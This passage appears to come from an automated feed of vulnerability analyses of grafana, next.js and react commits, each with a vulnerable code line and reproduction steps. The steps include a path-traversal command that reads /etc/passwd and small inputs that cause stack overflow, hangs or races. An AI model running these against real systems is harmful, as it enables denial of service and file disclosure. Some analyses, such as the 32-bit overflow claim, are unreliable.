<FolderOwners ownerReferences={folderDTO.ownerReferences} />
)}
1. Create a user account without admin privileges but with 'teams:read' permission 2. Navigate to a team folder that has owner references 3. Before patch: Owner information is hidden 4. After patch: Owner information is now visible, disclosing team membership and folder ownership data that was previously restricted to admins only
Feb 12, 2026, 05:34 PM — grafana/grafana
Commit: 57b75b4a3b9ea631f957bf86db01de672a17d2b5
Author: Will Assis
The code had a race condition in optimistic locking implementation where concurrent operations could bypass resource version checks. The original implementation would rollback changes after transaction commit, creating a window where conflicting writes could succeed simultaneously. The patch fixes this by performing conflict detection during the transaction using proper WHERE clauses with resource version constraints.
DELETE FROM resource WHERE group = ? AND resource = ? AND namespace = ? AND name = ?; -- Missing resource_version check in WHERE clause
1. Client A reads resource with RV=100 2. Client B reads same resource with RV=100 3. Client A updates resource (RV becomes 101) 4. Client B deletes resource using old RV=100 5. Both operations succeed due to missing RV constraint in DELETE/UPDATE queries, allowing Client B to delete a resource that was modified after they read it, violating optimistic concurrency control
Feb 9, 2026, 10:38 PM — vercel/next.js
Commit: 9a2113cb9b9d93719f94372814193170335b87ed
Author: Luke Sandberg
The code incorrectly used max() instead of min() to clamp worker counts, causing all systems to be treated as having 64+ cores and potentially overflowing usize on systems with many actual cores. This could lead to memory exhaustion or application crashes.
let num_workers = num_workers.max(64); (num_workers * num_workers * 16).next_power_of_two()
On a system with a large number of cores (e.g., 10000), the calculation becomes: (10000 * 10000 * 16).next_power_of_two() = 1,600,000,000.next_power_of_two() = 2,147,483,648, which exceeds usize limits on 32-bit systems and causes massive memory allocation attempts leading to DoS.
Feb 8, 2026, 07:14 PM — facebook/react
Commit: 2dd9b7cf76c31df5d7e26e5199e3c362c3e94f95
Author: Jimmy Lai
The code incorrectly checked for debugChannel existence instead of debugChannelReadable, causing the server to signal debug info availability even with write-only channels. This could cause clients to block indefinitely waiting for debug data that never arrives, resulting in a denial of service condition.
debugChannel !== undefined,
// Server-side: Pass a write-only debug channel (no readable side)
const { Writable } = require('stream');
const writeOnlyChannel = new Writable({ write() {} });
renderToPipeableStream(component, { debugChannel: writeOnlyChannel });
// Client will now block forever waiting for debug data that cannot be read
Feb 6, 2026, 08:03 PM — vercel/next.js
Commit: 6dfcffe1cfb375363674723182b1a5d5c2894ea9
Author: Niklas Mischkulnig
The code performed integer division without checking for division by zero, which could cause a panic and crash the application. The patch replaces direct division with checked_div() to handle zero divisors safely.
if max_chunk_count_per_group != 0 {
chunks_to_merge_size / max_chunk_count_per_group
} else {
unreachable!();
}
Set max_chunk_count_per_group to 0 through configuration or input parameters. When make_production_chunks() is called with this configuration, the division chunks_to_merge_size / max_chunk_count_per_group will cause a panic, crashing the Turbopack bundler and causing a denial of service.
Feb 4, 2026, 06:43 PM — facebook/react
Commit: cf993fb457417e0f20535b1fd42c3f45df966583
Author: Hendrik Liebau
The recursive traversal of async node chains in visitAsyncNode causes stack overflow when processing deep async sequences. Database libraries creating long linear chains of async operations can trigger this DoS condition. The patch converts recursive traversal to iterative to prevent stack exhaustion.
function visitAsyncNode(...) {
if (visited.has(node)) {
return visited.get(node);
}
visited.set(node, null);
const result = visitAsyncNodeImpl(request, task, node, visited, cutOff);
// Create a deep chain of async sequences (10000+ levels)
let current = null;
for (let i = 0; i < 10000; i++) {
current = { previous: current, end: -1 };
}
// This deep chain will cause stack overflow in visitAsyncNode
// when React Flight processes the async node traversal
Feb 4, 2026, 03:12 AM — facebook/react
Commit: 3ce1316b05968d2a8cffe42a110f2726f2c44c3e
Author: Joseph Savona
The code had improper path resolution that allowed attackers to access files outside the intended directory structure. The patch fixes relative path resolution by properly normalizing paths relative to PROJECT_ROOT instead of allowing arbitrary relative paths from the current working directory.
const inputPath = path.isAbsolute(opts.path) ? opts.path : path.resolve(process.cwd(), opts.path);
yarn snap compile ../../../etc/passwd